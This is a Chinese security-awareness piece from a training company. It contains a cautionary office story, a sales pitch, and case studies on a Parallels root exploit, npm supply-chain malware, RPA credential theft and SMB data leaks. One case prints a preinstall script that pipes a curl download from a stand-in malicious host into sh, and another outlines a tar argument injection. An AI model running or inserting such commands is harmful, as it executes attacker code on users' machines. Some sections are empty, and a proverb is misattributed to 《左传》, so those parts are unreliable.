第一章：深渊里的“老古董”

在名为“极光科技”的研发中心，空气中永远弥漫着一种混合了高端咖啡和高压电流的特殊味道。这里是国内顶尖的数据加密算法研发基地，也是无数商业机密的“堡垒”。

林默，一个被同事称为“代码拆解狂人”的资深架构师，他的桌面永远堆满了各种复杂的模型。他性格古怪，甚至有点社恐，但他的技术能力是公司甚至不容置疑的底牌。林默有一个令人难以理解的习惯：他从不清理系统。在他的电脑里，从十年前甚至更久远的各种试用版软件、开源工具、甚至是一些已经停止维护的“古董级”播放器，就像某种历史遗迹一样，堆积在硬盘的角落里。

“技术的本质是效率，而每一个残留的冗余文件都是为了追求效率而留下的战利品。”林默常这样自我辩护。

与林默完全相反的是苏清。她是公司的首席安全官（CSO），一个极其严苛、甚至到了“洁癖”地步的人。在她的眼里，任何一个未经审计、未经过许可安装在内网设备上的软件，都是一枚随时可能爆炸的定时炸弹。

“林默，你的电脑像是个杂货市场。”苏清第一次在办公室里公开批评他时，声音冷若冰霜，“你的这些软件，很多甚至没有合法的授权，更重要的是，它们是‘黑洞’。每增加一个没用的应用，你的攻击面就扩大一平方公尺。你是在给黑客留门票。”

林默挑了挑眉，挑衅地笑了笑：“苏总，只要我不去点那些链接，它们就是安全的。安全就像防盗门，门关上就行，至于门里有没有藏着各种破烂，那是自由。”

当时的他们并没有意识到，这句看似轻松的玩笑，正酝酿着一场足以让公司分崩离析的灾难。

第二章：来自幽灵的“邀请函”

故事的转折点发生在项目上线前夕的一个深夜。

“极光项目”正处于最后的内测阶段。由于高强度的压力，团队几乎处于超负荷运转。原本安静的研发部，突然在凌晨两点亮起了刺眼的红色警报。

“检测到异常数据外流！”苏清在办公室里几乎跳了起来。

所有的监控屏幕上，一个巨大的数据包正在被源源不断地从核心数据库中抽出。目标极其隐蔽，它并不是直接攻击核心服务器，而是从一个普通的研发员电脑开始，像病毒一样在内网横向移动。

苏清的脸色瞬间苍白：“谁的设备中毒了？快查出源头！”

由于系统层面的加密极其复杂，常规的反病毒扫描无法立刻锁定源头。苏清迅速下达指令：“启动全面审查，封锁所有非必要端口！”

就在这时，公司的产品经理——一个永远在为了KPI焦头烂额、性格甚至有点“霸道”的王总，突然冲进了办公室。他因为焦虑过度，一直自顾自地用自己的工作电脑在查各种竞品动向，他甚至在某些不明来源的论坛上下载了一些为了快速制作演示PPT而制作的“高效编辑工具”。

“是谁干的？是不是王总的电脑？”苏清敏锐地捕捉到了每台设备的流量波动。

然而，真正的漏洞点却在所有人意想不到的地方——在林默的电脑里。

第三章：被尘封的“幽灵”

随着苏清带着技术团队强行介入林默的电脑，真正的惊悚画面出现了。

在林默那看似杂乱无章的应用列表中，一个从2015年就停止维护的“超快压缩包工具”依然在运行。这个软件因为版本过旧，其内核包含了一个早已公诸于世、却被很多人忽略的缓冲区溢出漏洞。

黑客利用这个漏洞，成功取得了林默电脑的系统权限。由于林默在操作时，这个软件曾获得过“全文件访问权限”，黑客顺藤摸瓜，通过这款“没用的、不被需要的、甚至已经过期”的软件，突破了权限隔离，最终潜入了公司核心数据库。

“天呐……”苏清捂住了嘴巴，“这就是所谓的‘攻击面’。就因为一个根本不该存在的应用，给了黑客一把通往核心仓库的钥匙。”

林默呆住了。他原本以为自己的防范足够强，但他忽略了最基础的一点：每一个多余的软件，都是一个潜在的入口。

第四章：狗血的内讧与真相

消息一出，公司内部爆发了前所未有的地震。

王总因为由于他的电脑也下载了不明来源的工具而被质疑，虽然技术上不是他的根源，但因为他在高压下违反了合规要求，他与苏清爆发了激烈的争吵。“我那是为了工作效率！你把公司搞得像个监狱！”王总愤怒地摔了桌子。

而林默，作为“安全隐患的制造者”，承受了巨大的压力。公司高层甚至考虑要开除他。

就在这个焦灼的时刻，由于系统的紧急断开导致了一部分数据丢失，原本处于核心位置的研发核心数据部分受到损害。就在大家陷入自责和愤怒时，林默突然低声说了一句：“其实，更可怕的不是被偷走的数据，而是这个软件还在运行。只要它在，攻击的门就永远开着。”

他用颤抖的手，按下了那个久违的“卸载”按钮。

那一刻，所有的警报灯终于熄灭了。

这个简单的点击操作，却比任何复杂的高级安全算法都更重要。它切断了连接，封死了漏口，宣告了“清理”的胜利。

第五章：余波与警示

这次事件成为了极光科技乃至整个行业的标志性案例。

并不是因为黑客技术多么高超，而是因为一个简单的、因为懒惰而造成的“不必要应用留存”。因为不够关注安全意识，导致原本属于内部的秘密，变成了全世界都能看到的泄露点。

从此以后，每当有人在电脑上安装任何哪怕一个小的插件，都要经过严苛的合规审批。而林默，在这次事件后，成了公司里最虔实的“清扫工”。他彻底清理了自己的电脑，并担任起了“办公室安全大使”。

故事虽然结束了，但警钟长鸣：在信息战争的战场上，每一个不被需要的应用，都是给对手准备的一块踏脚石。

案例深度剖析与点评：从“幽灵”到“防线”的深刻反思

一、 事件深度剖析：微小漏洞引发的连锁反应

本案例中的核心风险点并非复杂的网络攻击技术，而是“软件残留”引发的风险敞口。在网络安全领域，我们称之为“攻击面（Attack Surface）”。每多安装一个软件，就意味着多了一套权限体系、多一个潜在的漏洞点、多一个数据传输的路径。

在这起事件中，林默的“软件囤积行为”实际上是典型的“阴影IT（Shadow IT）”的一种变体。因为不合规、未授权的软件长期驻留在企业内部，且由于其已经过时，开发者不再提供任何安全补丁，这给攻击者提供了一个完美的“缓冲地带”。攻击者并不直接进攻高强度的加密服务器，而是寻找最弱的一环——也就是那些被忽略、不被需要的、甚至已经被边缘化的应用软件。

二、 核心安全教训

1. 最小权限原则的崩塌：由于某些软件申请了过高的系统权限，导致一旦某个微小的应用出问题，攻击者即可获取全局权限。
2. “过期软件”的危险性：很多员工认为“只要不运行就安全”，这是极其错误的认知。只要软件存在于操作系统中，且具备联网或与其他系统交互的能力，它就是漏洞的源头。
3. 合规性缺失带来的代差风险：由于缺乏标准的、定期、强制的软件审计和清除流程，导致安全风险在部门内部长期积压。

三、 防范再发的实操措施

1. 建立“白名单”机制：企业应严格限制未经核准的软件安装。所有软件必须经过网络安全部门的扫描和合规性认证。
2. 定期“设备审计与瘦身”：建议每季度或每半年进行一次强制性的系统清理。删除所有不必要的、重复的、过时的应用软件，确保系统保持在“极简”且“合规”的状态。
3. 强制性补丁更新与及时卸载：一旦软件停止维护或发现存在已知漏洞，必须强制从所有终端设备中删除。
4. 强化安全审计工具：部署自动化扫描工具，实时监控非法软件的运行状况及异常数据流向。

四、 人员信息安全与保密意识的重要性

技术手段再先进，最终的防线依然是“人”。很多安全事故并非源于技术漏洞，而是源于员工的“随意”。林默的行为代表了许多技术人员常见的思维误区：“只要我不点，就是安全的”。

这种自我感觉良好的安全意识是极其危险的。在数据泄露面前，没有“偶尔一次”的侥幸。每一个人都是防护墙的一块砖瓦，只要有一块瓦片松动，整个堡垒就会陷落。我们必须让每位员工意识到，保护信息安全不是 IT 部门的事，而是每个人的自我约束。保护每一点数据，就等于保护公司的竞争优势、保护员工的个人隐私、保护企业的生存基石。

因此，开展持续的、深度的、基于实战场景的信息安全与保密意识教育活动，不再是“点缀”，而是企业安全治理的核心核心。

信息安全意识提升计划方案：构建“全员皆安全”的数字化防线

一、 总体思路：从“命令驱动”到“文化自律”

本方案旨在打破传统枯燥、单一的理论课，通过“三维模型（认知认知、实战对抗、文化融入）”构建起多维度的安全防护网络。不仅要让员工“知道”危险，更要让他们“学会”规避。

二、 核心模块设计

1. “实战模拟”式实操演练（Practice-Led Training）
   • 模拟钓鱼攻击：定期开展针对性钓鱼邮件/链接测试，根据员工的表现，实时发放“反思教学模块”。
   • 模拟网络攻防演练：模拟真实的社交工程攻击，让员工在模拟环境中处理“非法应用安装”或“敏感信息泄露”等突发状况。
   • 实战闭环机制：每场演练后，不仅输出结果数据，更要提供具体的“安全避坑手册”。
2. “影子 IT”专项排查与根除计划（Anti-Shadow IT Campaign）
   • 周期性合规普查：建立每季度一次的“办公软件大扫除”日。要求员工清理所有非核准软件，建立“白名单”文化。 一、 全方位风险场景覆盖：
   • 涵盖“物理安全”（如清理桌面的各类便签、防止屏幕窥视）、“信息保护”（如禁止使用未经授权的云端传输工具）、“设备合规”（如严格禁止在公用 Wi-Fi 下处理敏感数据）。
3. “游戏化”意识传播（Gamification of Security）
   • 安全积分系统：员工在正确识别风险、及时报告漏洞或参与安全培训后，获得“数字守护者”积分，并与企业福利联动。
   • 安全挑战赛：定期举办“防钓鱼挑战赛”、“敏感数据识别大赛”，激发员工的主动参与热情。

三、 创新点亮点

• 个性化安全档案卡：每位员工将拥有一个动态的安全画像。系统会根据其实际的操作行为（如是否点击过风险链接、是否及时更新软件）推送定制化的、基于其实际行为的警示。
• “安全第一人”制度：在每个业务团队内设立安全文化带头人，负责在业务流程的每一个细节中注入安全审查点。

四、 持续评估与闭环

• 建立“每季度的安全成熟度分析模型”。不仅关注违规行为的频次下降，更要关注员工在面对攻击陷阱时的正确操作比例。
• 通过“每季一次的全员合规体检”，确保每一个角落都没有残留的、不被需要的、“幽灵”般的漏洞。

在这个数字化程度日益加深的时代，安全不再是最后的一道防线，而是业务运行的底座。“防微杜渐”的逻辑只有四个字：清理、合规、意识、协同。每一项不被需要的软件、每一条多余的指令，都可能成为致命的裂缝。

为了帮助您的企业建立起真正稳固的安全护城河，我们非常荣幸地向您推荐昆明亭长朗然科技有限公司。我们深耕于企业信息安全与合规培训领域，致力于提供的一系列前瞻性、创新型的产品与服务。

从高度定制化的信息保密与安全培训课程，到针对特定职位的合规意识深度研讨，再到覆盖全流程的数据合规审计方案，昆明亭长朗然科技有限公司凭借深厚的行业积淀和丰富的实战案例，能够为每一家企业量身定制安全方案。我们不只是提供培训课件，更是在帮助您构建一种“安全内生”的企业文化。如果您正在寻求突破性的安全保护策略，或者希望提升员工的保密敏感度，昆明亭长朗然科技有限公司是您的最佳伙伴，助力您的企业在数字化征程中安全前行。

昆明亭长朗然科技有限公司关注信息保密教育，在课程中融入实战演练，使员工在真实场景下锻炼应对能力。我们的培训方案设计精巧，确保企业在面临信息泄露风险时有所准备。欢迎有兴趣的客户联系我们。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898

一、头脑风暴：想象四个潜伏在工作与生活中的“隐形炸弹”

在信息化浪潮汹涌而来的今天，安全漏洞往往像潜伏在暗处的定时炸弹，既可以是一行看似无害的代码，也可以是一次不经意的操作失误。下面，我们先抛出四个“假想”情景，让大家在脑海中拼装出可能的攻击链路，随后再用真实案例进行对照分析。

1. “万能钥匙”‑ 本地用户逆向提权
   想象一名新入职的实习生，只拥有普通用户权限，却因系统中某个服务的“世界可写” Unix socket，借助一条隐藏的命令注入，实现对整台机器的根控。

2. “钓鱼套餐”‑ 第三方依赖链式植入
   开发团队在项目中使用了一个来自公共仓库的 npm 包，未审计其安装脚本。黑客在该包中植入恶意 preinstall 脚本，待任何同事执行 npm install，即可在本地机器上执行任意代码。

3. “远程伪装”‑ 虚拟化平台的后门
   IT 部门为员工提供了虚拟化桌面解决方案（如 Parallels Desktop），却忽视了该软件的安全更新。一旦攻击者在宿主机器上植入恶意镜像，即可通过虚拟机逃逸，横向渗透至内网核心系统。

4. “自动化误区”‑ 机器人流程自动化（RPA）脚本被劫持
   企业在财务审批环节引入 RPA，设定了自动登录 ERP 系统的脚本。攻击者在服务器上植入键盘记录程序，趁脚本执行时捕获凭证，随后利用这些凭证进行高危操作。

上述四种情境看似天马行空，却都有真实案例作支撑。下面，我们以Help Net Security近期报道的Parallels Desktop 漏洞（CVE‑2026‑90894）为核心，结合其他类似事件，逐一剖析其危害链路、根源与防御路径。

二、案例一：Parallels Desktop “ParaShells” 本地提权（CVE‑2026‑90894）

背景
Parallels Desktop 是 macOS 上常用的虚拟化软件，尤其在开发者和设计师的工作站中极为常见。2026 年 9 月，JFrog 漏洞研究团队披露了名为 ParaShells 的严重缺陷（CVE‑2026‑90894），该缺陷允许任意本地用户在装有受影响版本（v26.4.0）的 Mac 上获取 root 权限。

攻击路径
1. 世界可写 Unix Socket
prl_disp_service 启动守护进程后，会在 /var/run/prl_disp_service.socket 创建一个 Unix domain socket，权限为 777（即任何用户均可写）。
2. 弱认证
守护进程仅通过 peer credential（即套接字对端的 UID/GID）进行身份校验，未对 Team ID（Apple 开发者签名标识）进行二次验证。
3. 参数注入
当收到 “appliance extraction” 请求时，服务会将用户提供的路径拼接进 tar 命令的 --use-compress-program 参数。若路径中包含恶意引号或分号，攻击者即可注入任意 shell 命令。
4. root 级别执行
prl_disp_service 以 root 运行，最终导致注入的恶意脚本以 uid 0（root）执行，实现系统完全控制。

危害评估
– 数据泄露：攻击者可读取、复制所有用户的文件，包括加密库、凭证等敏感信息。
– 持久化：通过 launchd 注册自启动项，重启后仍保持控制。
– 横向扩散：在共享工作站或实验室环境中，攻击者可轻易从一台机器跳到同网络的其他主机。

防御措施
– 升级至 Parallels Desktop 27.0.0 及以上（已修复 socket 权限与参数校验）。
– 最小化本地账户权限：对于不需要本地登录的服务，禁用交互式 shell，或使用 Least Privilege 原则。
– 审计 Unix Socket 权限：定期检查 /var/run/*.socket 是否存在 777 权限，及时收紧。
– 利用 AppArmor / SELinux 类似的 MAC（强制访问控制）：对 prl_disp_service 加强约束，阻止其随意读取/写入任意路径。

案例启示
– “世界可写” 是信息安全的顽疾，任何留有 777 权限的对象都可能成为攻击入口。
– 本地提权 并不需要远程攻击，只要用户能在机器上执行一行命令，即可完成权限升级。企业在采购或部署工具时，必须同步关注其 安全更新策略 与 默认安全配置。

三、案例二：npm 包 Preinstall 脚本植入导致全员受感染

事件概述
2025 年 11 月，某大型互联网公司内部代码审计发现，项目的依赖树中出现了一个名为 react-visualizer 的 npm 包。该包的 package.json 中声明了 preinstall 脚本：

"scripts": {    "preinstall": "curl -s http://malicious.example.com/sh | sh"}

攻击链
1. 开发者在本地机器执行 npm install 时，无感知地触发 preinstall，下载并执行攻击者托管的 shell 脚本。
2. 脚本在受感染机器上创建了一个 cron 任务，每 5 分钟向内部 Git 服务器提交恶意代码。
3. 通过 CI/CD 流水线，恶意代码被自动编译、部署到生产环境，导致 后门 持续存在数周。

危害
– 代码泄露：攻击者获取了项目的源码、设计文档和 API 密钥。
– 业务中断：后门被利用进行数据库篡改，导致用户数据错误。
– 品牌声誉受损：客户投诉，媒体曝光，造成经济与信任双重损失。

防御要点
– 审计第三方依赖：使用 npm audit、OSS Index、Snyk 等工具，定期扫描依赖中的高危脚本。
– 禁用危险脚本：在企业内部的 npm 配置文件 (.npmrc) 中加入 ignore-scripts=true，对不信任的项目手动开启。
– 签名验证：采用 署名的 npm 包（如 npm ci 配合 package-lock.json 的 hash 校验），避免被篡改。
– 最小化本地执行权限：让开发者使用受限的容器或 docker run --user 运行 npm install，即使脚本被触发也只能在受限环境中执行。

案例启示
– 第三方供给链 是现代软硬件生态的薄弱环节。即便是看似无害的 “preinstall” 脚本，也能在瞬间把整条供应链拉入黑暗。
– 安全文化 必须从 “不轻易执行陌生脚本” 入手，让每位开发者成为供应链安全的第一道防线。

四、案例三：RPA 脚本被键盘记录器劫持导致财务系统被盗

背景
2024 年 6 月，某金融机构在财务报销流程中引入了 UiPath RPA 机器人，实现自动登录 ERP 系统并提交报销单。机器人脚本存放在共享服务器上，使用管理员账户的凭证进行登录。

攻击过程
1. 攻击者通过钓鱼邮件在服务器上植入 keylogger（采用 LKM（Loadable Kernel Module）方式）。
2. 当 RPA 脚本执行时，keylogger 捕获了登录 ERP 时的用户名、密码以及一次性动态口令。
3. 攻击者利用这些凭证在 ERP 系统中创建虚假财务转账指令，金额累计超过 300 万美元。

危害
– 直接经济损失：数额巨大的资金被非法转走。
– 合规风险：涉及金融监管的审计报告被判定为 “内部控制缺陷”。
– 信任危机：内部员工对自动化工具产生抵触情绪，延误数字化转型进程。

防御措施

案例启示
– 自动化本身不是风险，错误的权限模型 与 缺乏监控 才是根源。企业在推进 RPA、AI 赋能时，必须同步建立 安全治理框架，防止“一键自动化”变成“一键失控”。

五、案例四：企业内部共享磁盘的“开放式云盘”导致数据泄露

情景
2023 年 8 月，一家大型制造企业在内部网络中部署了基于 SMB 协议 的共享磁盘，用于跨部门协同。管理员默认将共享目录权限设置为 Everyone – Full Control，以便利文件上传下载。

攻击路径
1. 通过公司内部的 Wi‑Fi，攻击者使用 Wireshark 捕获 SMB 握手过程，获取了 NTLM 哈希。
2. 利用 Pass-the-Hash 攻击，攻击者直接以管理员身份登录到共享磁盘。
3. 通过搜索关键字（如 “合同”、“工资表”），一次性下载了上百份敏感文档，随后在暗网上出售。

危害
– 知识产权外泄：核心产品设计图纸被竞争对手获取。
– 人事隐私泄漏：员工薪酬、绩效数据被公开，引发劳动纠纷。
– 合规处罚：因未落实 最小权限原则，被监管部门处以高额罚款。

防御要点
– 最小化共享权限：仅向需要访问的用户组授予 只读/写入 权限，禁止 “Everyone”。
– 禁用 SMBv1，强制使用 SMB 3.x，开启签名与加密。
– 网络分段：将共享磁盘所在的 VLAN 与核心业务网络隔离，仅开放必要端口。
– 持续监测：部署 UEBA（User and Entity Behavior Analytics）系统，对异常访问行为进行实时告警。

案例启示
– 便利往往隐藏着 过度授权 的隐患。企业在追求协同效率时，必须以 风险为先，确保每一份资源的访问都经过严格审计与最小授权。

六、信息安全的根本思维：从“技术”到“文化”

上述四个案例虽从不同角度切入，却共同揭示了以下三点核心真理：

1. 最小特权原则（Least Privilege）——无论是本地用户、第三方依赖还是自动化脚本，都应仅拥有完成任务所需的最低权限。
2. 安全更新与补丁管理——漏洞修复往往在公开后数日内发布，企业若未能做到“补丁即上线”，将永远在攻击者的时间窗中徘徊。
3. 安全意识与行为规范——技术防线可以抵御已知威胁，但只有把安全思维渗透到每一次代码提交、每一次软件安装、每一次系统配置中，才能对未知攻击形成根本阻隔。

在 数智化、自动化、机器人化 越来越深入的今天，信息安全的挑战已不再是单点的“漏洞修复”。它是一场 全员参与、全链条防护 的持久战。我们必须让每一位同事都能在“发现风险、报告风险、响应风险”的闭环中发挥作用。

七、呼吁：积极参与即将开启的信息安全意识培训

为帮助全体职工系统化提升信息安全能力，亭长朗然科技有限公司 将于 2026 年 10 月 5 日 开启为期 两周 的 信息安全意识培训行动，内容包括：

• 基础篇：密码学原理、社交工程防范、常见安全漏洞认知。
• 进阶篇：供应链安全审计、容器安全、零信任网络架构。
• 实战篇：红蓝对抗演练、CTF 现场破解、应急响应流程实操。
• 未来篇：AI 生成式攻击与防御、自动化安全监测、机器人安全治理。

培训采用 线上+线下混合 的模式，配合 微课、情景仿真、案例讨论 三大模块，确保理论与实践同频共振。报名入口已在企业门户上线，请在 9 月 30 日前完成报名，以便我们统筹安排。

为何要参加？

• 提升个人竞争力：信息安全已成为大多数岗位的必备硬技能，掌握安全思维将为职业发展加分。
• 降低组织风险：每位员工的安全行为都直接影响公司整体的防御深度。
• 迎接数字化挑战：在 AI、RPA、云原生的浪潮中，安全是唯一不容妥协的底线。
• 共享安全红利：培训结束后，将颁发 《信息安全合格证》，并纳入年度绩效考核加分项。

“防范永远胜于补救。”——《左传》有云，“防微杜渐，未雨绸缪”。让我们从今天的每一次点击、每一次提交、每一次配置，都把安全潜伏在细节之中。

八、行动清单：从现在起，你可以做到的三件事

完成以上三项，即可在个人层面筑起第一道防线；若全员同步完成，则公司将形成 纵深整体防御，有效遏制类似 Parallels、npm、RPA、共享磁盘等攻击向量的蔓延。

九、结语：让安全成为数字化转型的加速器

从 ParaShells 的本地提权，到 npm 的供应链脚本，再到 RPA 的凭证窃取，最后到 开放式共享磁盘 的数据泄露，这四大案例像四面风，持续冲击着企业的安全防线。它们提醒我们：技术的每一次进步，都伴随风险的升级；安全的每一次疏忽，都可能酿成不可挽回的损失。

在 数智化浪潮 中，安全不应是 “配角”，而应是 推动业务创新的加速器。只有把安全置于产品设计、系统架构、运维运作的每一步，才能让 AI、自动化、机器人化真正实现“安全赋能”，而非“安全负担”。

让我们从今天的 头脑风暴 与 案例分析 中汲取教训，踏实落地 最小特权、及时补丁、全员培训 三大基石，携手把安全文化写进每一行代码、每一份文档、每一次点击。安全不只是技术人员的职责，它是全体职工的共同使命。

关键词

我们的产品包括在线培训平台、定制化教材以及互动式安全演示。这些工具旨在提升企业员工的信息保护意识，形成强有力的防范网络攻击和数据泄露的第一道防线。对于感兴趣的客户，我们随时欢迎您进行产品体验。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898